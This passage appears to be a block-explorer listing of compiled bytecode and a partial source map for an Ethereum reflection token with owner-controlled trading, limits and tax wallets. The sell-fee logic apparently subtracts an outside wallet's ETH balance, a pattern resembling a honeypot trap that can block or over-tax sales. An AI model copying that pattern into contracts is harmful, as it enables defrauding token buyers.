5b825b9f919e509c50949a5092985090965091945050505050565b60008061163b8385611b23565b9050838110156111805760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161051a565b6000611697611371565b905060006116a583836117a0565b306000908152600260205260409020549091506116c2908261162e565b30600090815260026020526040902055505050565b6006546116e49083611301565b6006556007546116f4908261162e565b6007555050565b6000808080611715606461170f89896117a0565b90611394565b90506000611728606461170f8a896117a0565b905060006117408261173a8b86611301565b90611301565b9992985090965090945050505050565b600080808061175f88866117a0565b9050600061176d88876117a0565b9050600061177b88886117a0565b9050600061178d8261173a8686611301565b939b939a50919850919650505050505050565b6000826000036117b257506000610460565b60006117be8385611a8c565b9050826117cb8583611bd0565b146111805760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161051a565b600060208083528351808285015260005b8181101561184f57858101830151858201604001528201611833565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461058957600080fd5b6000806040838503121561189857600080fd5b82356118a381611870565b946020939093013593505050565b6000806000606084860312156118c657600080fd5b83356118d181611870565b925060208401356118e181611870565b929592945050506040919091013590565b60006020828403121561190457600080fd5b8135801515811461118057600080fd5b60006020828403121561192657600080fd5b813561118081611870565b60006020828403121561194357600080fd5b5035919050565b6000806040838503121561195d57600080fd5b823561196881611870565b9150602083013561197881611870565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156119d45781600019048211156119ba576119ba611983565b808516156119c757918102915b93841c939080029061199e565b509250929050565b6000826119eb57506001610460565b816119f857506000610460565b8160018114611a0e5760028114611a1857611a34565b6001915050610460565b60ff841115611a2957611a29611983565b50506001821b610460565b5060208310610133831016604e8410600b8410161715611a57575081810a610460565b611a618383611999565b8060001904821115611a7557611a75611983565b029392505050565b600061118060ff8416836119dc565b808202811582820484141761046057610460611983565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611aea57600080fd5b815161118081611870565b600080600060608486031215611b0a57600080fd5b8351925060208401519150604084015190509250925092565b8082018082111561046057610460611983565b8181038181111561046057610460611983565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611baf5784516001600160a01b031683529383019391830191600101611b8a565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611bed57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fed6f2272f2b48386da9314272222e18cb651e6b3cd227eca100f026ad31230b64736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101445760003560e01c8063715018a6116100b657806398a5c3151161006f57806398a5c3151461038c578063a9059cbb146103ac578063c3c8cd80146103cc578063c9567bf9146103e1578063dd62ed3e146103e9578063f2fde38b1461042f57600080fd5b8063715018a6146102eb578063751039fc146103005780637d1db4a5146103155780638da5cb5b1461032b5780638f9a55c01461034957806395d89b411461035f57600080fd5b80632fd689e3116101085780632fd689e314610242578063313ce5671461025857806349bd5a5e146102745780636d8aa8f8146102945780636fc3eaec146102b657806370a08231146102cb57600080fd5b806306fdde0314610150578063095ea7b3146101975780631694505e146101c757806318160ddd146101ff57806323b872dd1461022257600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5060408051808201909152600c81526b72c6c0f25d4673ca4ff4414b60a11b60208201525b60405161018e9190611822565b60405180910390f35b3480156101a357600080fd5b506101b76101b2366004611885565b61044f565b604051901515815260200161018e565b3480156101d357600080fd5b506012546101e7906001600160a01b031681565b6040516001600160a01b03909116815260200161018e565b34801561020b57600080fd5b50610214610466565b60405190815260200161018e565b34801561022e57600080fd5b506101b761023d3660046118b1565b610487565b34801561024e57600080fd5b5061021460165481565b34801561026457600080fd5b506040516009815260200161018e565b34801561028057600080fd5b506013546101e7906001600160a01b031681565b3480156102a057600080fd5b506102b46102af3660046118f2565b6104f0565b005b3480156102c257600080fd5b506102b4610541565b3480156102d757600080fd5b506102146102e6366004611914565b61058c565b3480156102f757600080fd5b506102b46105ae565b34801561030c57600080fd5b506102b4610622565b34801561032157600080fd5b5061021460145481565b34801561033757600080fd5b506000546001600160a01b03166101e7565b34801561035557600080fd5b5061021460155481565b34801561036b57600080fd5b506040805180820190915260048152630c4c969160e21b6020820152610181565b34801561039857600080fd5b506102b46103a7366004611931565b610665565b3480156103b857600080fd5b506101b76103c7366004611885565b610694565b3480156103d857600080fd5b506102b46106a1565b6102b46106f5565b3480156103f557600080fd5b5061021461040436600461194a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561043b57600080fd5b506102b461044a366004611914565b6109fb565b600061045c338484610ae5565b5060015b92915050565b60006104746009600a611a7d565b61048290633b9aca00611a8c565b905090565b6000610494848484610c09565b6104e684336104e185604051806060016040528060288152602001611bf3602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906110f1565b610ae5565b5060019392505050565b6000546001600160a01b031633146105235760405162461bcd60e51b815260040161051a90611aa3565b60405180910390fd5b60138054911515600160b01b0260ff60b01b19909216919091179055565b6010546001600160a01b0316336001600160a01b0316148061057657506011546001600160a01b0316336001600160a01b0316145b61057f57600080fd5b476105898161112b565b50565b6001600160a01b03811660009081526002602052604081205461046090611169565b6000546001600160a01b031633146105d85760405162461bcd60e51b815260040161051a90611aa3565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461064c5760405162461bcd60e51b815260040161051a90611aa3565b6d314dc6448d9338c15b0a000000006014819055601555565b6000546001600160a01b0316331461068f5760405162461bcd60e51b815260040161051a90611aa3565b601655565b600061045c338484610c09565b6010546001600160a01b0316336001600160a01b031614806106d657506011546001600160a01b0316336001600160a01b0316145b6106df57600080fd5b60006106ea3061058c565b905061058981611187565b6000546001600160a01b0316331461071f5760405162461bcd60e51b815260040161051a90611aa3565b601354600160a01b900460ff16156107795760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161051a565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f09190611ad8565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610852573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108769190611ad8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e79190611ad8565b601380546001600160a01b0319166001600160a01b03928316179055601254610921913091166d314dc6448d9338c15b0a00000000610ae5565b6012546001600160a01b031663f305d719343061093d8161058c565b6000806109526000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109ba573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109df9190611af5565b50506013805462ff00ff60a01b19166201000160a01b17905550565b6000546001600160a01b03163314610a255760405162461bcd60e51b815260040161051a90611aa3565b6001600160a01b038116610a8a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161051a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610b475760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161051a565b6001600160a01b038216610ba85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161051a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c6d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161051a565b6001600160a01b038216610ccf5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161051a565b60008111610d315760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161051a565b6000546001600160a01b03848116911614801590610d5d57506000546001600160a01b03838116911614155b8015610d7257506001600160a01b0383163014155b8015610d8757506001600160a01b0382163014155b15610fce57601354600160a01b900460ff16610e20576000546001600160a01b03848116911614610e205760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161051a565b601454811115610e725760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161051a565b6013546001600160a01b03838116911614610ef75760155481610e948461058c565b610e9e9190611b23565b10610ef75760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161051a565b6000610f023061058c565b601654601454919250821015908210610f1b5760145491505b808015610f325750601354600160a81b900460ff16155b8015610f4c57506013546001600160a01b03868116911614155b8015610f615750601354600160b01b900460ff165b8015610f8657506001600160a01b03851660009081526005602052604090205460ff16155b8015610fab57506001600160a01b03841660009081526005602052604090205460ff16155b15610fcb57610fb982611187565b478015610fc957610fc94761112b565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061101057506001600160a01b03831660009081526005602052604090205460ff165b8061104257506013546001600160a01b0385811691161480159061104257506013546001600160a01b03848116911614155b1561104f575060006110df565b6013546001600160a01b03858116911614801561107a57506012546001600160a01b03848116911614155b1561108c57600854600c55600954600d555b6013546001600160a01b0384811691161480156110b757506012546001600160a01b03858116911614155b156110df57600a54600c55601154600b546110db916001600160a01b031631611301565b600d555b6110eb84848484611343565b50505050565b600081848411156111155760405162461bcd60e51b815260040161051a9190611822565b5060006111228486611b36565b95945050505050565b6010546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611165573d6000803e3d6000fd5b5050565b600080611174611371565b90506111808382611394565b9392505050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111cf576111cf611b49565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611228573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061124c9190611ad8565b8160018151811061125f5761125f611b49565b6001600160a01b0392831660209182029290920101526012546112859130911684610ae5565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906112be908590600090869030904290600401611b5f565b600060405180830381600087803b1580156112d857600080fd5b505af11580156112ec573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b600061118083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110f1565b80611350576113506113d6565b61135b848484611404565b806110eb576110eb600e54600c55600f54600d55565b600080600061137e611512565b909250905061138d8282611394565b9250505090565b600061118083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611594565b600c541580156113e65750600d54155b156113ed57565b600c8054600e55600d8054600f5560009182905555565b6011546000908190819081908190819061142d906001600160a01b038b811691161415886115c2565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061145f9087611301565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461148e908661162e565b6001600160a01b0389166000908152600260205260409020556114b08161168d565b6114ba84836116d7565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114ff91815260200190565b60405180910390a3505050505050505050565b6006546000908190816115276009600a611a7d565b61153590633b9aca00611a8c565b905061155d6115466009600a611a7d565b61155490633b9aca00611a8c565b60065490611394565b82101561158b576006546115736009600a611a7d565b61158190633b9aca00611a8c565b9350935050509091565b90939092509050565b600081836115b55760405162461bcd60e51b815260040161051a9190611822565b5060006111228486611bd0565b60008060008060008060008060006115df8a600c54600d546116fb565b92509250925060006115ef611371565b905060008060006116028e878787611750565b9250925092508e611614576000611616565b825b9f919e509c50949a5092985090965091945050505050565b60008061163b8385611b23565b9050838110156111805760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161051a565b6000611697611371565b905060006116a583836117a0565b306000908152600260205260409020549091506116c2908261162e565b30600090815260026020526040902055505050565b6006546116e49083611301565b6006556007546116f4908261162e565b6007555050565b6000808080611715606461170f89896117a0565b90611394565b90506000611728606461170f8a896117a0565b905060006117408261173a8b86611301565b90611301565b9992985090965090945050505050565b600080808061175f88866117a0565b9050600061176d88876117a0565b9050600061177b88886117a0565b9050600061178d8261173a8686611301565b939b939a50919850919650505050505050565b6000826000036117b257506000610460565b60006117be8385611a8c565b9050826117cb8583611bd0565b146111805760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161051a565b600060208083528351808285015260005b8181101561184f57858101830151858201604001528201611833565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461058957600080fd5b6000806040838503121561189857600080fd5b82356118a381611870565b946020939093013593505050565b6000806000606084860312156118c657600080fd5b83356118d181611870565b925060208401356118e181611870565b929592945050506040919091013590565b60006020828403121561190457600080fd5b8135801515811461118057600080fd5b60006020828403121561192657600080fd5b813561118081611870565b60006020828403121561194357600080fd5b5035919050565b6000806040838503121561195d57600080fd5b823561196881611870565b9150602083013561197881611870565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156119d45781600019048211156119ba576119ba611983565b808516156119c757918102915b93841c939080029061199e565b509250929050565b6000826119eb57506001610460565b816119f857506000610460565b8160018114611a0e5760028114611a1857611a34565b6001915050610460565b60ff841115611a2957611a29611983565b50506001821b610460565b5060208310610133831016604e8410600b8410161715611a57575081810a610460565b611a618383611999565b8060001904821115611a7557611a75611983565b029392505050565b600061118060ff8416836119dc565b808202811582820484141761046057610460611983565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611aea57600080fd5b815161118081611870565b600080600060608486031215611b0a57600080fd5b8351925060208401519150604084015190509250925092565b8082018082111561046057610460611983565b8181038181111561046057610460611983565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611baf5784516001600160a01b031683529383019391830191600101611b8a565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611bed57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fed6f2272f2b48386da9314272222e18cb651e6b3cd227eca100f026ad31230b64736f6c63430008130033

Deployed Bytecode Sourcemap

4220:12706:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6511:83;;;;;;;;;;-1:-1:-1;6581:5:0;;;;;;;;;;;;-1:-1:-1;;;6581:5:0;;;;6511:83;;;;;;;:::i;:::-;;;;;;;;7443:193;;;;;;;;;;-1:-1:-1;7443:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7443:193:0;1023:187:1;5481:41:0;;;;;;;;;;-1:-1:-1;5481:41:0;;;;-1:-1:-1;;;;;5481:41:0;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;5481:41:0;1215:229:1;6791:95:0;;;;;;;;;;;;;:::i;:::-;;;1595:25:1;;;1583:2;1568:18;6791:95:0;1449:177:1;7645:446:0;;;;;;;;;;-1:-1:-1;7645:446:0;;;;;:::i;:::-;;:::i;5786:55::-;;;;;;;;;;;;;;;;6699:83;;;;;;;;;;-1:-1:-1;6699:83:0;;4459:1;2234:36:1;;2222:2;2207:18;6699:83:0;2092:184:1;5529:28:0;;;;;;;;;;-1:-1:-1;5529:28:0;;;;-1:-1:-1;;;;;5529:28:0;;;16182:101;;;;;;;;;;-1:-1:-1;16182:101:0;;;;;:::i;:::-;;:::i;:::-;;12236:235;;;;;;;;;;;;;:::i;6895:138::-;;;;;;;;;;-1:-1:-1;6895:138:0;;;;;:::i;:::-;;:::i;1693:148::-;;;;;;;;;;;;;:::i;16291:109::-;;;;;;;;;;;;;:::i;5674:47::-;;;;;;;;;;;;;;;;1477:79;;;;;;;;;;-1:-1:-1;1515:7:0;1542:6;-1:-1:-1;;;;;1542:6:0;1477:79;;5729:49;;;;;;;;;;;;;;;;6603:87;;;;;;;;;;-1:-1:-1;6675:7:0;;;;;;;;;;;;-1:-1:-1;;;6675:7:0;;;;6603:87;;15990:139;;;;;;;;;;-1:-1:-1;15990:139:0;;;;;:::i;:::-;;:::i;7042:199::-;;;;;;;;;;-1:-1:-1;7042:199:0;;;;;:::i;:::-;;:::i;11991:236::-;;;;;;;;;;;;;:::i;16408:515::-;;;:::i;7250:184::-;;;;;;;;;;-1:-1:-1;7250:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;7399:18:0;;;7367:7;7399:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7250:184;1850:244;;;;;;;;;;-1:-1:-1;1850:244:0;;;;;:::i;:::-;;:::i;7443:193::-;7545:4;7567:39;306:10;7590:7;7599:6;7567:8;:39::i;:::-;-1:-1:-1;7624:4:0;7443:193;;;;;:::o;6791:95::-;6844:7;4799:15;4459:1;4799:2;:15;:::i;:::-;4783:31;;:13;:31;:::i;:::-;6864:14;;6791:95;:::o;7645:446::-;7777:4;7794:36;7804:6;7812:9;7823:6;7794:9;:36::i;:::-;7841:220;7864:6;306:10;7912:138;7968:6;7912:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7912:19:0;;;;;;:11;:19;;;;;;;;306:10;7912:33;;;;;;;;;;:37;:138::i;:::-;7841:8;:220::i;:::-;-1:-1:-1;8079:4:0;7645:446;;;;;:::o;16182:101::-;1605:6;;-1:-1:-1;;;;;1605:6:0;306:10;1605:22;1597:67;;;;-1:-1:-1;;;1597:67:0;;;;;;;:::i;:::-;;;;;;;;;16249:11:::1;:26:::0;;;::::1;;-1:-1:-1::0;;;16249:26:0::1;-1:-1:-1::0;;;;16249:26:0;;::::1;::::0;;;::::1;::::0;;16182:101::o;12236:235::-;12302:19;;-1:-1:-1;;;;;12302:19:0;306:10;-1:-1:-1;;;;;12286:35:0;;:72;;;-1:-1:-1;12341:17:0;;-1:-1:-1;;;;;12341:17:0;306:10;-1:-1:-1;;;;;12325:33:0;;12286:72;12278:81;;;;;;12399:21;12431:32;12399:21;12431:12;:32::i;:::-;12267:204;12236:235::o;6895:138::-;-1:-1:-1;;;;;7008:16:0;;6961:7;7008:16;;;:7;:16;;;;;;6988:37;;:19;:37::i;1693:148::-;1605:6;;-1:-1:-1;;;;;1605:6:0;306:10;1605:22;1597:67;;;;-1:-1:-1;;;1597:67:0;;;;;;;:::i;:::-;1800:1:::1;1784:6:::0;;1763:40:::1;::::0;-1:-1:-1;;;;;1784:6:0;;::::1;::::0;1763:40:::1;::::0;1800:1;;1763:40:::1;1831:1;1814:19:::0;;-1:-1:-1;;;;;;1814:19:0::1;::::0;;1693:148::o;16291:109::-;1605:6;;-1:-1:-1;;;;;1605:6:0;306:10;1605:22;1597:67;;;;-1:-1:-1;;;1597:67:0;;;;;;;:::i;:::-;4733:8:::1;16343:12;:18:::0;;;16372:14:::1;:20:::0;16291:109::o;15990:139::-;1605:6;;-1:-1:-1;;;;;1605:6:0;306:10;1605:22;1597:67;;;;-1:-1:-1;;;1597:67:0;;;;;;;:::i;:::-;16081:19:::1;:40:::0;15990:139::o;7042:199::-;7147:4;7169:42;306:10;7193:9;7204:6;7169:9;:42::i;11991:236::-;12057:19;;-1:-1:-1;;;;;12057:19:0;306:10;-1:-1:-1;;;;;12041:35:0;;:72;;;-1:-1:-1;12096:17:0;;-1:-1:-1;;;;;12096:17:0;306:10;-1:-1:-1;;;;;12080:33:0;;12041:72;12033:81;;;;;;12125:23;12151:24;12169:4;12151:9;:24::i;:::-;12125:50;;12186:33;12203:15;12186:16;:33::i;16408:515::-;1605:6;;-1:-1:-1;;;;;1605:6:0;306:10;1605:22;1597:67;;;;-1:-1:-1;;;1597:67:0;;;;;;;:::i;:::-;16476:11:::1;::::0;-1:-1:-1;;;16476:11:0;::::1;;;16475:12;16467:48;;;::::0;-1:-1:-1;;;16467:48:0;;5848:2:1;16467:48:0::1;::::0;::::1;5830:21:1::0;5887:2;5867:18;;;5860:30;5926:25;5906:18;;;5899:53;5969:18;;16467:48:0::1;5646:347:1::0;16467:48:0::1;16562:15;;;;;;;;;-1:-1:-1::0;;;;;16562:15:0::1;-1:-1:-1::0;;;;;16562:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;16544:69:0::1;;16622:4;16629:15;;;;;;;;;-1:-1:-1::0;;;;;16629:15:0::1;-1:-1:-1::0;;;;;16629:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16544:108;::::0;-1:-1:-1;;;;;;16544:108:0::1;::::0;;;;;;-1:-1:-1;;;;;6484:15:1;;;16544:108:0::1;::::0;::::1;6466:34:1::0;6536:15;;6516:18;;;6509:43;6401:18;;16544:108:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16528:13;:124:::0;;-1:-1:-1;;;;;;16528:124:0::1;-1:-1:-1::0;;;;;16528:124:0;;::::1;;::::0;;16697:15:::1;::::0;16665:54:::1;::::0;16682:4:::1;::::0;16697:15:::1;4733:8;16665;:54::i;:::-;16730:15;::::0;-1:-1:-1;;;;;16730:15:0::1;:31;16769:9;16788:4;16794:24;16788:4:::0;16794:9:::1;:24::i;:::-;16819:1;16821::::0;16823:7:::1;1515::::0;1542:6;-1:-1:-1;;;;;1542:6:0;;1477:79;16823:7:::1;16730:117;::::0;::::1;::::0;;;-1:-1:-1;;;;;;16730:117:0;;;-1:-1:-1;;;;;6922:15:1;;;16730:117:0::1;::::0;::::1;6904:34:1::0;6954:18;;;6947:34;;;;6997:18;;;6990:34;;;;7040:18;;;7033:34;7104:15;;;7083:19;;;7076:44;16831:15:0::1;7136:19:1::0;;;7129:35;6838:19;;16730:117:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;16868:11:0::1;:18:::0;;-1:-1:-1;;;;16897:18:0;-1:-1:-1;;;16897:18:0;;;-1:-1:-1;16408:515:0:o;1850:244::-;1605:6;;-1:-1:-1;;;;;1605:6:0;306:10;1605:22;1597:67;;;;-1:-1:-1;;;1597:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1939:22:0;::::1;1931:73;;;::::0;-1:-1:-1;;;1931:73:0;;7688:2:1;1931:73:0::1;::::0;::::1;7670:21:1::0;7727:2;7707:18;;;7700:30;7766:34;7746:18;;;7739:62;-1:-1:-1;;;7817:18:1;;;7810:36;7863:19;;1931:73:0::1;7486:402:1::0;1931:73:0::1;2041:6;::::0;;2020:38:::1;::::0;-1:-1:-1;;;;;2020:38:0;;::::1;::::0;2041:6;::::1;::::0;2020:38:::1;::::0;::::1;2069:6;:17:::0;;-1:-1:-1;;;;;;2069:17:0::1;-1:-1:-1::0;;;;;2069:17:0;;;::::1;::::0;;;::::1;::::0;;1850:244::o;8667:369::-;-1:-1:-1;;;;;8794:19:0;;8786:68;;;;-1:-1:-1;;;8786:68:0;;8095:2:1;8786:68:0;;;8077:21:1;8134:2;8114:18;;;8107:30;8173:34;8153:18;;;8146:62;-1:-1:-1;;;8224:18:1;;;8217:34;8268:19;;8786:68:0;7893:400:1;8786:68:0;-1:-1:-1;;;;;8873:21:0;;8865:68;;;;-1:-1:-1;;;8865:68:0;;8500:2:1;8865:68:0;;;8482:21:1;8539:2;8519:18;;;8512:30;8578:34;8558:18;;;8551:62;-1:-1:-1;;;8629:18:1;;;8622:32;8671:19;;8865:68:0;8298:398:1;8865:68:0;-1:-1:-1;;;;;8944:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8996:32;;1595:25:1;;;8996:32:0;;1568:18:1;8996:32:0;;;;;;;8667:369;;;:::o;9045:2335::-;-1:-1:-1;;;;;9167:18:0;;9159:68;;;;-1:-1:-1;;;9159:68:0;;8903:2:1;9159:68:0;;;8885:21:1;8942:2;8922:18;;;8915:30;8981:34;8961:18;;;8954:62;-1:-1:-1;;;9032:18:1;;;9025:35;9077:19;;9159:68:0;8701:401:1;9159:68:0;-1:-1:-1;;;;;9246:16:0;;9238:64;;;;-1:-1:-1;;;9238:64:0;;9309:2:1;9238:64:0;;;9291:21:1;9348:2;9328:18;;;9321:30;9387:34;9367:18;;;9360:62;-1:-1:-1;;;9438:18:1;;;9431:33;9481:19;;9238:64:0;9107:399:1;9238:64:0;9330:1;9321:6;:10;9313:64;;;;-1:-1:-1;;;9313:64:0;;9713:2:1;9313:64:0;;;9695:21:1;9752:2;9732:18;;;9725:30;9791:34;9771:18;;;9764:62;-1:-1:-1;;;9842:18:1;;;9835:39;9891:19;;9313:64:0;9511:405:1;9313:64:0;1515:7;1542:6;-1:-1:-1;;;;;9395:15:0;;;1542:6;;9395:15;;;;:32;;-1:-1:-1;1515:7:0;1542:6;-1:-1:-1;;;;;9414:13:0;;;1542:6;;9414:13;;9395:32;:57;;;;-1:-1:-1;;;;;;9431:21:0;;9447:4;9431:21;;9395:57;:80;;;;-1:-1:-1;;;;;;9456:19:0;;9470:4;9456:19;;9395:80;9391:1226;;;9533:11;;-1:-1:-1;;;9533:11:0;;;;9528:144;;1515:7;1542:6;-1:-1:-1;;;;;9573:15:0;;;1542:6;;9573:15;9565:91;;;;-1:-1:-1;;;9565:91:0;;10123:2:1;9565:91:0;;;10105:21:1;10162:2;10142:18;;;10135:30;10201:34;10181:18;;;10174:62;10272:33;10252:18;;;10245:61;10323:19;;9565:91:0;9921:427:1;9565:91:0;9707:12;;9697:6;:22;;9689:63;;;;-1:-1:-1;;;9689:63:0;;10555:2:1;9689:63:0;;;10537:21:1;10594:2;10574:18;;;10567:30;10633;10613:18;;;10606:58;10681:18;;9689:63:0;10353:352:1;9689:63:0;9779:13;;-1:-1:-1;;;;;9773:19:0;;;9779:13;;9773:19;9770:146;;9846:14;;9837:6;9821:13;9831:2;9821:9;:13::i;:::-;:22;;;;:::i;:::-;:39;9813:87;;;;-1:-1:-1;;;9813:87:0;;11042:2:1;9813:87:0;;;11024:21:1;11081:2;11061:18;;;11054:30;11120:34;11100:18;;;11093:62;-1:-1:-1;;;11171:18:1;;;11164:33;11214:19;;9813:87:0;10840:399:1;9813:87:0;9933:28;9964:24;9982:4;9964:9;:24::i;:::-;10042:19;;10106:12;;9933:55;;-1:-1:-1;10018:43:0;;;;10082:36;;10079:124;;10175:12;;10152:35;;10079:124;10224:7;:18;;;;-1:-1:-1;10236:6:0;;-1:-1:-1;;;10236:6:0;;;;10235:7;10224:18;:43;;;;-1:-1:-1;10254:13:0;;-1:-1:-1;;;;;10246:21:0;;;10254:13;;10246:21;;10224:43;:58;;;;-1:-1:-1;10271:11:0;;-1:-1:-1;;;10271:11:0;;;;10224:58;:87;;;;-1:-1:-1;;;;;;10287:24:0;;;;;;:18;:24;;;;;;;;10286:25;10224:87;:114;;;;-1:-1:-1;;;;;;10316:22:0;;;;;;:18;:22;;;;;;;;10315:23;10224:114;10220:386;;;10359:38;10376:20;10359:16;:38::i;:::-;10445:21;10489:22;;10485:106;;10536:35;10549:21;10536:12;:35::i;:::-;10340:266;10220:386;9477:1140;;9391:1226;-1:-1:-1;;;;;10695:24:0;;10630:12;10695:24;;;:18;:24;;;;;;10645:4;;10695:24;;;:50;;-1:-1:-1;;;;;;10723:22:0;;;;;;:18;:22;;;;;;;;10695:50;10694:102;;;-1:-1:-1;10759:13:0;;-1:-1:-1;;;;;10751:21:0;;;10759:13;;10751:21;;;;:44;;-1:-1:-1;10782:13:0;;-1:-1:-1;;;;;10776:19:0;;;10782:13;;10776:19;;10751:44;10690:628;;;-1:-1:-1;10823:5:0;10690:628;;;10907:13;;-1:-1:-1;;;;;10899:21:0;;;10907:13;;10899:21;:55;;;;-1:-1:-1;10938:15:0;;-1:-1:-1;;;;;10924:30:0;;;10938:15;;10924:30;;10899:55;10896:162;;;10987:14;;10975:9;:26;11030:12;;11020:7;:22;10896:162;11118:13;;-1:-1:-1;;;;;11112:19:0;;;11118:13;;11112:19;:55;;;;-1:-1:-1;11151:15:0;;-1:-1:-1;;;;;11135:32:0;;;11151:15;;11135:32;;11112:55;11108:196;;;11200:15;;11188:9;:27;11262:17;;11244:13;;:44;;-1:-